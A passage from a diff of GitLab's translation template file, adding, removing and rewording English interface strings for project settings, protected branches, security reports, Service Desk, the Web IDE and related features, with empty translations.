+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,7 +25424,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24954,7 +25587,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -25038,9 +25674,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25287,6 +25920,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,7 +25966,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26158,6 +26809,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,7 +27554,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26909,9 +27584,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr ""
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27606,9 +28320,15 @@ msgstr[1] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28545,13 +29271,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr ""
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr ""
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31373,6 +32128,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31570,10 +32328,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31708,9 +32466,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31765,6 +32520,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
+msgstr ""
+
msgid "URL is required"
msgstr ""
@@ -32167,7 +32928,7 @@ msgstr ""
msgid "Upgrade your plan to enable this feature of the Jira Integration."
msgstr ""
-msgid "Upgrade your plan to improve Merge Requests."
+msgid "Upgrade your plan to improve merge requests."
msgstr ""
msgid "Upload"
@@ -32176,6 +32937,9 @@ msgstr ""
msgid "Upload CSV file"
msgstr ""
+msgid "Upload File"
+msgstr ""
+
msgid "Upload License"
msgstr ""
@@ -32272,6 +33036,9 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|Other Storage"
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
@@ -32470,9 +33237,6 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
-msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
-msgstr ""
-
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
@@ -32524,6 +33288,9 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} was removed from %{group}."
+msgstr ""
+
msgid "User ID"
msgstr ""
@@ -32569,7 +33336,10 @@ msgstr ""
msgid "User was successfully created."
msgstr ""
-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
